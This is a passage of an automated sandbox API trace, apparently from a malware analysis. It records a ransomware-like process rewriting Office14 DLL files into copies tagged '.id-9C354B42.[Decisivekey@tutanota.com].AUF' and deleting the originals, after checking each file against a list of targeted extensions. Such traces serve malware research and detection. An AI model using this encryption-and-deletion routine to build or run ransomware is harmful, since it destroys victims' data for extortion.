66 [0220.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0220.365] lstrlenW (lpString=".doc") returned 4 [0220.365] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0220.365] lstrlenW (lpString=".docx") returned 5 [0220.365] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1 [0220.365] lstrlenW (lpString=".pdf") returned 4 [0220.365] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0220.365] lstrlenW (lpString=".xls") returned 4 [0220.365] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0220.365] lstrlenW (lpString=".xlsx") returned 5 [0220.365] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1 [0220.365] lstrlenW (lpString=".ppt") returned 4 [0220.365] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0220.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0220.365] lstrlenW (lpString=".zip") returned 4 [0220.365] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0220.365] lstrlenW (lpString=".rar") returned 4 [0220.365] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0220.365] lstrlenW (lpString=".bz2") returned 4 [0220.365] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0220.365] lstrlenW (lpString=".7z") returned 3 [0220.365] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0220.365] lstrlenW (lpString=".dbf") returned 4 [0220.365] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0220.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0220.365] lstrlenW (lpString=".1cd") returned 4 [0220.365] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0220.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0220.365] lstrlenW (lpString=".jpg") returned 4 [0220.365] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0220.365] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0220.365] lstrlenW (lpString="ACETXT.DLL") returned 10 [0220.365] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0220.366] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=297360) returned 1 [0220.366] CloseHandle (hObject=0x1e4) returned 1 [0220.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll")) returned 0x20 [0220.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.366] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0220.366] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.366] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.366] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0220.367] GetLastError () returned 0x0 [0220.367] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x48990, lpOverlapped=0x0) returned 1 [0220.403] WriteFile (in: hFile=0x1e8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x489a0, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0x489a0, lpOverlapped=0x0) returned 1 [0220.408] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.408] WriteFile (in: hFile=0x1e8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0220.408] SetEndOfFile (hFile=0x1e8) returned 1 [0220.408] CloseHandle (hObject=0x1e8) returned 1 [0220.416] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.416] SetEndOfFile (hFile=0x1e4) returned 1 [0220.419] CloseHandle (hObject=0x1e4) returned 1 [0220.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.419] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll")) returned 1 [0220.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0220.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0220.426] lstrlenW (lpString=".doc") returned 4 [0220.426] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0220.426] lstrlenW (lpString=".docx") returned 5 [0220.426] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0220.426] lstrlenW (lpString=".pdf") returned 4 [0220.426] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0220.426] lstrlenW (lpString=".xls") returned 4 [0220.426] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0220.426] lstrlenW (lpString=".xlsx") returned 5 [0220.426] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0220.426] lstrlenW (lpString=".ppt") returned 4 [0220.426] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0220.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0220.426] lstrlenW (lpString=".zip") returned 4 [0220.426] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0220.426] lstrlenW (lpString=".rar") returned 4 [0220.426] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0220.426] lstrlenW (lpString=".bz2") returned 4 [0220.426] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0220.426] lstrlenW (lpString=".7z") returned 3 [0220.426] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0220.426] lstrlenW (lpString=".dbf") returned 4 [0220.426] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0220.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0220.426] lstrlenW (lpString=".1cd") returned 4 [0220.426] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0220.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0220.426] lstrlenW (lpString=".jpg") returned 4 [0220.427] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0220.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0220.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0220.427] lstrlenW (lpString=".doc") returned 4 [0220.427] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0220.427] lstrlenW (lpString=".docx") returned 5 [0220.427] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0220.427] lstrlenW (lpString=".pdf") returned 4 [0220.427] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0220.427] lstrlenW (lpString=".xls") returned 4 [0220.427] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0220.427] lstrlenW (lpString=".xlsx") returned 5 [0220.427] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0220.427] lstrlenW (lpString=".ppt") returned 4 [0220.427] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0220.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0220.427] lstrlenW (lpString=".zip") returned 4 [0220.427] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0220.427] lstrlenW (lpString=".rar") returned 4 [0220.427] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0220.427] lstrlenW (lpString=".bz2") returned 4 [0220.427] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0220.427] lstrlenW (lpString=".7z") returned 3 [0220.427] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0220.427] lstrlenW (lpString=".dbf") returned 4 [0220.427] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0220.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0220.427] lstrlenW (lpString=".1cd") returned 4 [0220.427] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0220.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0220.427] lstrlenW (lpString=".jpg") returned 4 [0220.427] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0220.427] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0220.427] lstrlenW (lpString="ACEXBE.DLL") returned 10 [0220.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0220.429] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=502168) returned 1 [0220.430] CloseHandle (hObject=0x1e4) returned 1 [0220.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll")) returned 0x20 [0220.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.430] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0220.432] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.433] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0220.886] GetLastError () returned 0x0 [0220.887] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x7a998, lpOverlapped=0x0) returned 1 [0220.986] WriteFile (in: hFile=0x210, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x7a9a0, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0x7a9a0, lpOverlapped=0x0) returned 1 [0220.993] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.993] WriteFile (in: hFile=0x210, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0220.993] SetEndOfFile (hFile=0x210) returned 1 [0220.993] CloseHandle (hObject=0x210) returned 1 [0220.993] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.993] SetEndOfFile (hFile=0x1e4) returned 1 [0220.997] CloseHandle (hObject=0x1e4) returned 1 [0220.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.997] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll")) returned 1 [0220.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0220.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0220.998] lstrlenW (lpString=".doc") returned 4 [0220.998] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0220.998] lstrlenW (lpString=".docx") returned 5 [0220.998] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0220.998] lstrlenW (lpString=".pdf") returned 4 [0220.998] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0220.998] lstrlenW (lpString=".xls") returned 4 [0220.998] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0220.998] lstrlenW (lpString=".xlsx") returned 5 [0220.998] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0220.998] lstrlenW (lpString=".ppt") returned 4 [0220.998] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0220.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0220.998] lstrlenW (lpString=".zip") returned 4 [0220.998] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0220.998] lstrlenW (lpString=".rar") returned 4 [0220.998] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0220.998] lstrlenW (lpString=".bz2") returned 4 [0220.998] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0220.998] lstrlenW (lpString=".7z") returned 3 [0220.998] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0220.998] lstrlenW (lpString=".dbf") returned 4 [0220.998] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0220.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0220.998] lstrlenW (lpString=".1cd") returned 4 [0220.998] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0220.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0220.998] lstrlenW (lpString=".jpg") returned 4 [0220.998] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0220.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0220.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0220.998] lstrlenW (lpString=".doc") returned 4 [0220.998] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0220.998] lstrlenW (lpString=".docx") returned 5 [0220.998] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0220.998] lstrlenW (lpString=".pdf") returned 4 [0220.998] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0220.998] lstrlenW (lpString=".xls") returned 4 [0220.998] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0220.998] lstrlenW (lpString=".xlsx") returned 5 [0220.998] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0220.998] lstrlenW (lpString=".ppt") returned 4 [0220.998] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0220.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0220.998] lstrlenW (lpString=".zip") returned 4 [0220.998] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0220.998] lstrlenW (lpString=".rar") returned 4 [0220.998] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0220.999] lstrlenW (lpString=".bz2") returned 4 [0220.999] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0220.999] lstrlenW (lpString=".7z") returned 3 [0220.999] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0220.999] lstrlenW (lpString=".dbf") returned 4 [0220.999] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0220.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0220.999] lstrlenW (lpString=".1cd") returned 4 [0220.999] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0220.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0220.999] lstrlenW (lpString=".jpg") returned 4 [0220.999] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0220.999] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0220.999] lstrlenW (lpString="EXP_PDF.DLL") returned 11 [0220.999] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0221.126] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=138616) returned 1 [0221.126] CloseHandle (hObject=0x1e0) returned 1 [0221.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll")) returned 0x20 [0221.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.126] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0221.127] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.127] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.127] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0221.127] GetLastError () returned 0x0 [0221.127] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x21d78, lpOverlapped=0x0) returned 1 [0221.175] WriteFile (in: hFile=0x16c, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x21d80, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0x21d80, lpOverlapped=0x0) returned 1 [0221.178] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.178] WriteFile (in: hFile=0x16c, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0221.178] SetEndOfFile (hFile=0x16c) returned 1 [0221.178] CloseHandle (hObject=0x16c) returned 1 [0221.178] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.178] SetEndOfFile (hFile=0x1e0) returned 1 [0221.179] CloseHandle (hObject=0x1e0) returned 1 [0221.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.179] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll")) returned 1 [0221.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned 67 [0221.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned 67 [0221.482] lstrlenW (lpString=".doc") returned 4 [0221.482] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0221.482] lstrlenW (lpString=".docx") returned 5 [0221.482] lstrcmpiW (lpString1=".docx", lpString2="F.DLL") returned -1 [0221.482] lstrlenW (lpString=".pdf") returned 4 [0221.482] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0221.482] lstrlenW (lpString=".xls") returned 4 [0221.482] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0221.482] lstrlenW (lpString=".xlsx") returned 5 [0221.482] lstrcmpiW (lpString1=".xlsx", lpString2="F.DLL") returned -1 [0221.482] lstrlenW (lpString=".ppt") returned 4 [0221.482] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0221.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned 67 [0221.482] lstrlenW (lpString=".zip") returned 4 [0221.482] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0221.482] lstrlenW (lpString=".rar") returned 4 [0221.482] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0221.482] lstrlenW (lpString=".bz2") returned 4 [0221.482] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0221.482] lstrlenW (lpString=".7z") returned 3 [0221.482] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0221.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned 67 [0221.482] lstrlenW (lpString=".dbf") returned 4 [0221.482] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0221.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned 67 [0221.482] lstrlenW (lpString=".1cd") returned 4 [0221.482] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0221.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned 67 [0221.482] lstrlenW (lpString=".jpg") returned 4 [0221.482] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0221.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned 67 [0221.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned 67 [0221.482] lstrlenW (lpString=".doc") returned 4 [0221.483] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0221.483] lstrlenW (lpString=".docx") returned 5 [0221.483] lstrcmpiW (lpString1=".docx", lpString2="F.DLL") returned -1 [0221.483] lstrlenW (lpString=".pdf") returned 4 [0221.483] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0221.483] lstrlenW (lpString=".xls") returned 4 [0221.483] lstrcmpiW (lpString1=".xls", 